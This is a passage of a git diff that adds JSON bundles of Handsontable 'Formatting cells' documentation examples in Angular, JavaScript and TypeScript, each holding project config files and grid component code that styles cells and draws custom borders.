· Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewEncapsulation } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example1-formatting-cells',\n standalone: true,\n imports: [HotTableModule],\n template: `
\n \n
`,\n styles: `hot-table td.custom-cell {\n color: #fff !important;\n background-color: #254ac6 !important;\n}\nhot-table .custom-table thead th:nth-child(even),\nhot-table .custom-table tbody tr:nth-child(odd) th {\n color: #fff !important;\n background-color: #254ac6 !important;\n}\n`,\n encapsulation: ViewEncapsulation.None,\n})\nexport class AppComponent {\n\n readonly data = [\n ['SKU-4821', 'Laptop Pro 15', 'Electronics', 149900, 42],\n ['SKU-0093', 'Wireless Mouse', 'Peripherals', 2999, 218],\n ['SKU-7712', 'USB-C Hub 7-port', 'Peripherals', 5499, 0],\n ['SKU-3305', 'Mech. Keyboard', 'Peripherals', 8999, 67],\n ['SKU-9140', '4K Monitor 27\"', 'Electronics', 34999, 15],\n ];\n\n readonly gridSettings: GridSettings = {\n rowHeaders: true,\n colHeaders: true,\n stretchH: 'all',\n className: 'custom-table',\n cell: [\n {\n row: 0,\n col: 0,\n className: 'custom-cell',\n },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/formatting-cells/angular/example1.ts","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/formatting-cells","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__angular__example2.ts.json new file mode 100644 index 00000000..e2551a4c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Formatting cells · Apply inline styles · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport Handsontable from 'handsontable/base';\nimport { registerRenderer, textRenderer } from 'handsontable/renderers';\n\nregisterRenderer('customStylesRenderer', (hotInstance: Handsontable, TD: HTMLTableCellElement, row: number, col: number, prop: string | number, value: unknown, cellProperties: Handsontable.CellProperties) => {\n textRenderer(hotInstance, TD, row, col, prop, value, cellProperties);\n\n TD.style.fontWeight = 'bold';\n TD.style.color = 'green';\n TD.style.background = '#d7f1e1';\n});\n\n@Component({\n selector: 'example2-formatting-cells',\n standalone: true,\n imports: [HotTableModule],\n template: `
\n \n
`,\n})\nexport class AppComponent {\n\n readonly data = [\n ['SKU-4821', 'Laptop Pro 15', 'Electronics', 149900, 42],\n ['SKU-0093', 'Wireless Mouse', 'Peripherals', 2999, 218],\n ['SKU-7712', 'USB-C Hub 7-port', 'Peripherals', 5499, 0],\n ['SKU-3305', 'Mech. Keyboard', 'Peripherals', 8999, 67],\n ['SKU-9140', '4K Monitor 27\"', 'Electronics', 34999, 15],\n ];\n\n readonly gridSettings: GridSettings = {\n rowHeaders: true,\n colHeaders: true,\n stretchH: 'all',\n cell: [\n {\n row: 0,\n col: 0,\n renderer: 'customStylesRenderer',\n },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/formatting-cells/angular/example2.ts","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example2","exampleTitle":"Apply inline styles","docPermalink":"/formatting-cells","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__angular__example3.ts.json new file mode 100644 index 00000000..c7c8519a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__angular__example3.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Formatting cells · Custom cell borders · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport Handsontable from 'handsontable/base';\nimport { registerRenderer, textRenderer } from 'handsontable/renderers';\n\nregisterRenderer('customStylesRenderer', (hotInstance: Handsontable, TD: HTMLTableCellElement, row: number, col: number, prop: string | number, value: unknown, cellProperties: Handsontable.CellProperties) => {\n textRenderer(hotInstance, TD, row, col, prop, value, cellProperties);\n\n TD.style.fontWeight = 'bold';\n TD.style.color = 'green';\n TD.style.background = '#d7f1e1';\n});\n\n@Component({\n selector: 'example3-formatting-cells',\n standalone: true,\n imports: [HotTableModule],\n template: `
\n \n
`,\n})\nexport class AppComponent {\n\n readonly data = [\n ['SKU-4821', 'Laptop Pro 15', 'Electronics', 149900, 42],\n ['SKU-0093', 'Wireless Mouse', 'Peripherals', 2999, 218],\n ['SKU-7712', 'USB-C Hub 7-port', 'Peripherals', 5499, 0],\n ['SKU-3305', 'Mech. Keyboard', 'Peripherals', 8999, 67],\n ['SKU-9140', '4K Monitor 27\"', 'Electronics', 34999, 15],\n ];\n\n readonly gridSettings: GridSettings = {\n rowHeaders: true,\n colHeaders: true,\n stretchH: 'all',\n customBorders: [\n {\n range: {\n from: {\n row: 1,\n col: 1,\n },\n to: {\n row: 3,\n col: 4,\n },\n },\n top: {\n width: 2,\n color: '#5292F7',\n style: 'dotted',\n },\n bottom: {\n width: 2,\n color: 'red',\n },\n start: {\n width: 2,\n color: 'orange',\n style: 'dashed',\n },\n end: {\n width: 2,\n color: 'magenta',\n },\n },\n {\n row: 2,\n col: 2,\n start: {\n width: 2,\n color: 'red',\n },\n end: {\n width: 1,\n color: 'green',\n },\n },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/formatting-cells/angular/example3.ts","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example3","exampleTitle":"Custom cell borders","docPermalink":"/formatting-cells","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__javascript__example1.js.json new file mode 100644 index 00000000..f1c00ea3 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Formatting cells · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1');\n\nnew Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1'],\n ['A2', 'B2', 'C2', 'D2', 'E2'],\n ['A3', 'B3', 'C3', 'D3', 'E3'],\n ['A4', 'B4', 'C4', 'D4', 'E4'],\n ['A5', 'B5', 'C5', 'D5', 'E5'],\n ],\n rowHeaders: true,\n colHeaders: true,\n stretchH: 'all',\n className: 'custom-table',\n cell: [\n {\n row: 0,\n col: 0,\n className: 'custom-cell',\n },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../styles.css\";\nimport \"../index.js\";","/styles.css":"td.custom-cell {\n color: #fff !important;\n background-color: #254ac6 !important;\n}\n.custom-table thead th:nth-child(even),\n.custom-table tbody tr:nth-child(odd) th {\n color: #fff !important;\n background-color: #254ac6 !important;\n}"},"docsPath":"guides/cell-features/formatting-cells/javascript/example1.js","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/formatting-cells","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__javascript__example1.ts.json new file mode 100644 index 00000000..32a0d32d --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Formatting cells · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\n\nnew Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1'],\n ['A2', 'B2', 'C2', 'D2', 'E2'],\n ['A3', 'B3', 'C3', 'D3', 'E3'],\n ['A4', 'B4', 'C4', 'D4', 'E4'],\n ['A5', 'B5', 'C5', 'D5', 'E5'],\n ],\n rowHeaders: true,\n colHeaders: true,\n stretchH: 'all',\n className: 'custom-table',\n cell: [\n {\n row: 0,\n col: 0,\n className: 'custom-cell',\n },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../styles.css\";\nimport \"../index.ts\";","/styles.css":"td.custom-cell {\n color: #fff !important;\n background-color: #254ac6 !important;\n}\n.custom-table thead th:nth-child(even),\n.custom-table tbody tr:nth-child(odd) th {\n color: #fff !important;\n background-color: #254ac6 !important;\n}"},"docsPath":"guides/cell-features/formatting-cells/javascript/example1.ts","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/formatting-cells","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__javascript__example2.js.json new file mode 100644 index 00000000..32f75fa5 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Formatting cells · Apply inline styles · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { textRenderer, registerRenderer } from 'handsontable/renderers';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst customStylesRenderer = (hotInstance, TD, ...rest) => {\n textRenderer(hotInstance, TD, ...rest);\n TD.style.fontWeight = 'bold';\n TD.style.color = 'green';\n TD.style.background = '#d7f1e1';\n};\n\nregisterRenderer('customStylesRenderer', customStylesRenderer);\n\nconst container = document.querySelector('#example2');\n\nnew Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1'],\n ['A2', 'B2', 'C2', 'D2', 'E2'],\n ['A3', 'B3', 'C3', 'D3', 'E3'],\n ['A4', 'B4', 'C4', 'D4', 'E4'],\n ['A5', 'B5', 'C5', 'D5', 'E5'],\n ],\n rowHeaders: true,\n colHeaders: true,\n stretchH: 'all',\n cell: [\n {\n row: 0,\n col: 0,\n renderer: 'customStylesRenderer',\n },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/formatting-cells/javascript/example2.js","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example2","exampleTitle":"Apply inline styles","docPermalink":"/formatting-cells","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__javascript__example2.ts.json new file mode 100644 index 00000000..2094580f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__javascript__example2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Formatting cells · Apply inline styles · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { textRenderer, registerRenderer } from 'handsontable/renderers';\nimport { BaseRenderer } from 'handsontable/renderers';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst customStylesRenderer: BaseRenderer = (hotInstance, TD, ...rest) => {\n textRenderer(hotInstance, TD, ...rest);\n TD.style.fontWeight = 'bold';\n TD.style.color = 'green';\n TD.style.background = '#d7f1e1';\n};\n\nregisterRenderer('customStylesRenderer', customStylesRenderer);\n\nconst container = document.querySelector('#example2')!;\n\nnew Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1'],\n ['A2', 'B2', 'C2', 'D2', 'E2'],\n ['A3', 'B3', 'C3', 'D3', 'E3'],\n ['A4', 'B4', 'C4', 'D4', 'E4'],\n ['A5', 'B5', 'C5', 'D5', 'E5'],\n ],\n rowHeaders: true,\n colHeaders: true,\n stretchH: 'all',\n cell: [\n {\n row: 0,\n col: 0,\n renderer: 'customStylesRenderer',\n },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import 